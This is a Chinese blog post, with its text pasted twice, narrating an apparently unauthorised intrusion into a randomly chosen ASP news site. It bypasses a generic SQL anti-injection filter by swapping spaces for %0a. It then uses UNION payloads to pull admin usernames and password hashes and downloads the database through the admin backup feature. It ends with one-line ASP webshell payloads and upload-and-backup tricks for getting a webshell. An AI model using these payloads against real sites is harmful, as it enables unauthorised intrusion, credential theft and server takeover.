Acesss数据库手工绕过通用代码防注入系统 推荐
2017-05-19 12:58
232 查看
Acesss数据库手工绕过通用代码防注入系统By antian365 残枫 simeon
渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在本文中还对access数据库获取webshell等关键技术进行了总结。
1.1获取目标信息
通过百度进行关键字“news.asp?id=”搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Firefox中使用F9功能键,打开hackbar
![](https://s2.51cto.com/wyfs02/M02/96/3C/wKioL1keepqSVHmCAADcffi1ZKc028.jpg-wh_500x0-wm_3-wmp_4-s_1892292115.jpg)
图1测试目标站点1.2测试是否存在SQL注入
在http://www.xxxxx.com/网站中随机打开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1= 2和and 1 = 1判断是否有注入,如图2所示,单击Execute后,页面显示存在“SQL通用防注入系统”。
![](https://s2.51cto.com/wyfs02/M00/96/3C/wKiom1keepqj-l10AABxCL0tPgE140.jpg-wh_500x0-wm_3-wmp_4-s_2754517244.jpg)
图2存在SQL通用防注入系统在网站地址后加入“-0”和“/”进行测试,打开“http://www.xxxxx.com/news.asp?id=1172/”浏览器显示结果如图3所示,打开“http://www.xxxxx.com/news.asp?id=1172-0”后结果如图4所示,明显存在SQL注入。
![](https://s2.51cto.com/wyfs02/M02/96/3C/wKioL1keeprApSDHAAD60N0ngXk529.jpg-wh_500x0-wm_3-wmp_4-s_616769823.jpg)
图3显示无内容
![](https://s5.51cto.com/wyfs02/M00/96/3C/wKiom1keepux96dFAAEvd0VSf94003.jpg-wh_500x0-wm_3-wmp_4-s_1294328233.jpg)
图4显示存在内容1.3绕过SQL防注入系统1.post提交无法绕过在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图5所示,结果无任何变化,说明直接post提交无法绕过。
![](https://s5.51cto.com/wyfs02/M00/96/3C/wKioL1keepuBsUGxAADVJpWr6Eg330.jpg-wh_500x0-wm_3-wmp_4-s_2104051821.jpg)
图5 post提交无法绕过2.替换空格绕过
换了POST方式后还是不行,朋友说使用%09(也就是tab键)可以绕过,经过测试还是不行,如图6所示,用%0a(换行符)替换下空格成功绕过,如图7所示。
![](https://s5.51cto.com/wyfs02/M01/96/3C/wKiom1keepuQ0VkMAAByyYRMvrk315.jpg-wh_500x0-wm_3-wmp_4-s_3456811855.jpg)
图6无法绕过
![](https://s1.51cto.com/wyfs02/M01/96/3C/wKioL1keepzA-c2UAADpckvGUKI716.jpg-wh_500x0-wm_3-wmp_4-s_1794001361.jpg)
图7成功绕过1.4获取数据库类型以及表和字段
(1)判断数据库类型通过and (selectcount(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。
(2)通过order by判断列名
id=1172%0aorder%0aby%0a23 正常
id=1172%0aorder%0aby%0a24 错误
“Order by 23”正常,23代表查询的列名的数目有23个
(3)判断是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
(4)判断是否存在user以及pass字段
and (select count(username) fromadmin)>0
and (select count(password) fromadmin)>0
变换后的语句
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
测试admin表中是否存在uid,id,uid报错,如图8所示,id正常,如图9所示。
![](https://s1.51cto.com/wyfs02/M00/96/3C/wKioL1keepzDe43NAAD1WVLxiu0577.jpg-wh_500x0-wm_3-wmp_4-s_3925649994.jpg)
图8uid不存在
![](https://s3.51cto.com/wyfs02/M01/96/3C/wKiom1keep3gWVjAAAFub-0uOHg073.jpg-wh_500x0-wm_3-wmp_4-s_708226877.jpg)
图9id存在1.5获取管理员密码
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”,如图10所示,通过登录后台后发现该用户权限较低,因此还需要获取其它管理员用户的密码执行语句:id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码,如图11所示。
![](https://s3.51cto.com/wyfs02/M02/96/3C/wKiom1keep2RyAA7AAFHKEAv_rc407.jpg-wh_500x0-wm_3-wmp_4-s_387067715.jpg)
图10获取amdin-dh用户密码
![](https://s3.51cto.com/wyfs02/M02/96/3C/wKioL1keep7DVF4kAAFWmW_h6Bo578.jpg-wh_500x0-wm_3-wmp_4-s_3752332979.jpg)
图11获取管理员zzchxj用户密码1.6.获取数据库
(1)数据库备份相关信息获取
如图12所示,在后台管理中存在数据库备份功能。在备份页面中有当前数据库路径、备份数据库目录、备份数据库名称等信息。
![](https://s3.51cto.com/wyfs02/M01/96/3C/wKioL1keep7gVEi-AAG6PnlhTfw547.jpg-wh_500x0-wm_3-wmp_4-s_3450508335.jpg)
图12数据库备份(2)通过压缩功能获取真实数据库名称单击“压缩”,如图13所示,获取数据库的真实名称和路径等信息“../data-2016/@@@xxxxx###.asp”。
![](https://s3.51cto.com/wyfs02/M00/96/3C/wKiom1keep6BA2WHAADk7iiaTQI016.jpg-wh_500x0-wm_3-wmp_4-s_4082425233.jpg)
图13获取数据库真实路径和名称信息(3)备份并获取数据库将“../data-2016/@@@xxxxx###.asp”填入当前数据库路径,备份数据库名称“db1.mdb”,如图14所示,备份数据库成功,您备份的数据库路径为服务器空间的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,数据库下载地址为:http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb
![](https://s5.51cto.com/wyfs02/M02/96/3C/wKiom1keep-Dr2peAADP_iyTFCA401.jpg-wh_500x0-wm_3-wmp_4-s_424293736.jpg)
图14备份数据库1.8access数据库获取webshell方法
(1)查询导出方法
create table cmd (a varchar(50))
insert into cmd (a) values ('<%executerequest(chr(35))%>')
select * into [a] in 'c:\wwwroot\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
直接菜刀里连接http://www.antian365.com/1.asa;x.xls
(2)数据库备份
在留言等可以写入数据内容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通过数据库备份来获取其一句后门密码为a。
(3)数据库图片备份获取
将插入一句话后门的图片木马上传到网站,获取其图片的具体地址,然后通过备份,将备份文件设置为图片文件的具体位置,备份文件例如指定为/databacp/1.asp来获取webshell。
1.9参考文章
(1)http://www.freebuf.com/articles/web/36683.html,绕过WAF继续SQL注入常用方法
(2)http://www.cnblogs.com/joy-nick/p/5774462.html,SQLInjection绕过技巧
(3)http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比较全的AccessSQL注入参考
渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在本文中还对access数据库获取webshell等关键技术进行了总结。
1.1获取目标信息
通过百度进行关键字“news.asp?id=”搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Firefox中使用F9功能键,打开hackbar
![](https://s2.51cto.com/wyfs02/M02/96/3C/wKioL1keepqSVHmCAADcffi1ZKc028.jpg-wh_500x0-wm_3-wmp_4-s_1892292115.jpg)
图1测试目标站点1.2测试是否存在SQL注入
在http://www.xxxxx.com/网站中随机打开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1= 2和and 1 = 1判断是否有注入,如图2所示,单击Execute后,页面显示存在“SQL通用防注入系统”。
![](https://s2.51cto.com/wyfs02/M00/96/3C/wKiom1keepqj-l10AABxCL0tPgE140.jpg-wh_500x0-wm_3-wmp_4-s_2754517244.jpg)
图2存在SQL通用防注入系统在网站地址后加入“-0”和“/”进行测试,打开“http://www.xxxxx.com/news.asp?id=1172/”浏览器显示结果如图3所示,打开“http://www.xxxxx.com/news.asp?id=1172-0”后结果如图4所示,明显存在SQL注入。
![](https://s2.51cto.com/wyfs02/M02/96/3C/wKioL1keeprApSDHAAD60N0ngXk529.jpg-wh_500x0-wm_3-wmp_4-s_616769823.jpg)
图3显示无内容
![](https://s5.51cto.com/wyfs02/M00/96/3C/wKiom1keepux96dFAAEvd0VSf94003.jpg-wh_500x0-wm_3-wmp_4-s_1294328233.jpg)
图4显示存在内容1.3绕过SQL防注入系统1.post提交无法绕过在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图5所示,结果无任何变化,说明直接post提交无法绕过。
![](https://s5.51cto.com/wyfs02/M00/96/3C/wKioL1keepuBsUGxAADVJpWr6Eg330.jpg-wh_500x0-wm_3-wmp_4-s_2104051821.jpg)
图5 post提交无法绕过2.替换空格绕过
换了POST方式后还是不行,朋友说使用%09(也就是tab键)可以绕过,经过测试还是不行,如图6所示,用%0a(换行符)替换下空格成功绕过,如图7所示。
![](https://s5.51cto.com/wyfs02/M01/96/3C/wKiom1keepuQ0VkMAAByyYRMvrk315.jpg-wh_500x0-wm_3-wmp_4-s_3456811855.jpg)
图6无法绕过
![](https://s1.51cto.com/wyfs02/M01/96/3C/wKioL1keepzA-c2UAADpckvGUKI716.jpg-wh_500x0-wm_3-wmp_4-s_1794001361.jpg)
图7成功绕过1.4获取数据库类型以及表和字段
(1)判断数据库类型通过and (selectcount(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。
(2)通过order by判断列名
id=1172%0aorder%0aby%0a23 正常
id=1172%0aorder%0aby%0a24 错误
“Order by 23”正常,23代表查询的列名的数目有23个
(3)判断是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
(4)判断是否存在user以及pass字段
and (select count(username) fromadmin)>0
and (select count(password) fromadmin)>0
变换后的语句
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
测试admin表中是否存在uid,id,uid报错,如图8所示,id正常,如图9所示。
![](https://s1.51cto.com/wyfs02/M00/96/3C/wKioL1keepzDe43NAAD1WVLxiu0577.jpg-wh_500x0-wm_3-wmp_4-s_3925649994.jpg)
图8uid不存在
![](https://s3.51cto.com/wyfs02/M01/96/3C/wKiom1keep3gWVjAAAFub-0uOHg073.jpg-wh_500x0-wm_3-wmp_4-s_708226877.jpg)
图9id存在1.5获取管理员密码
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”,如图10所示,通过登录后台后发现该用户权限较低,因此还需要获取其它管理员用户的密码执行语句:id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码,如图11所示。
![](https://s3.51cto.com/wyfs02/M02/96/3C/wKiom1keep2RyAA7AAFHKEAv_rc407.jpg-wh_500x0-wm_3-wmp_4-s_387067715.jpg)
图10获取amdin-dh用户密码
![](https://s3.51cto.com/wyfs02/M02/96/3C/wKioL1keep7DVF4kAAFWmW_h6Bo578.jpg-wh_500x0-wm_3-wmp_4-s_3752332979.jpg)
图11获取管理员zzchxj用户密码1.6.获取数据库
(1)数据库备份相关信息获取
如图12所示,在后台管理中存在数据库备份功能。在备份页面中有当前数据库路径、备份数据库目录、备份数据库名称等信息。
![](https://s3.51cto.com/wyfs02/M01/96/3C/wKioL1keep7gVEi-AAG6PnlhTfw547.jpg-wh_500x0-wm_3-wmp_4-s_3450508335.jpg)
图12数据库备份(2)通过压缩功能获取真实数据库名称单击“压缩”,如图13所示,获取数据库的真实名称和路径等信息“../data-2016/@@@xxxxx###.asp”。
![](https://s3.51cto.com/wyfs02/M00/96/3C/wKiom1keep6BA2WHAADk7iiaTQI016.jpg-wh_500x0-wm_3-wmp_4-s_4082425233.jpg)
图13获取数据库真实路径和名称信息(3)备份并获取数据库将“../data-2016/@@@xxxxx###.asp”填入当前数据库路径,备份数据库名称“db1.mdb”,如图14所示,备份数据库成功,您备份的数据库路径为服务器空间的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,数据库下载地址为:http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb
![](https://s5.51cto.com/wyfs02/M02/96/3C/wKiom1keep-Dr2peAADP_iyTFCA401.jpg-wh_500x0-wm_3-wmp_4-s_424293736.jpg)
图14备份数据库1.8access数据库获取webshell方法
(1)查询导出方法
create table cmd (a varchar(50))
insert into cmd (a) values ('<%executerequest(chr(35))%>')
select * into [a] in 'c:\wwwroot\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
直接菜刀里连接http://www.antian365.com/1.asa;x.xls
(2)数据库备份
在留言等可以写入数据内容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通过数据库备份来获取其一句后门密码为a。
(3)数据库图片备份获取
将插入一句话后门的图片木马上传到网站,获取其图片的具体地址,然后通过备份,将备份文件设置为图片文件的具体位置,备份文件例如指定为/databacp/1.asp来获取webshell。
1.9参考文章
(1)http://www.freebuf.com/articles/web/36683.html,绕过WAF继续SQL注入常用方法
(2)http://www.cnblogs.com/joy-nick/p/5774462.html,SQLInjection绕过技巧
(3)http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比较全的AccessSQL注入参考
相关文章推荐
- Acesss数据库手工绕过通用代码防注入系统
- Sql通用防注入系统3.1β版的跨站漏洞
- Dll注入系统进程的部分代码
- Sql通用防注入系统 v3.5 完美版
- 可以永久免费下载、免费使用、免费升级、有QQ153585978群技术支持的通用权限管理系统组件【含免费代码生成器】
- php通用防注入程序 推荐
- PHP通用防注入安全代码
- PHP通用防注入安全代码
- [VC] - 绕过主动防御的代码注入方法思考
- PHP+MySQL 手工注入语句大全 推荐
- SQL绕过注入最新代码
- 手工注入命令 推荐
- Safe3通用asp防注入代码
- 《当老温遭遇C#》之网络棋牌游戏系统架构篇【附演示+代码+全套图】~~极力推荐C#程序员阅读
- 手工注入,后台另类拿webshell搞定影院系统
- [推荐]网络上通用的调查答卷系统-XML做数据库(将DataSet转化成字符串)
- .net 通用防注入代码
- .NET框架程序设计读书笔记(三)--.net框架类库(FCL)和通用类型系统、代码互操作
- 一种防注入代码的绕过学习总结
- C#调用系统API实现内存注入的代码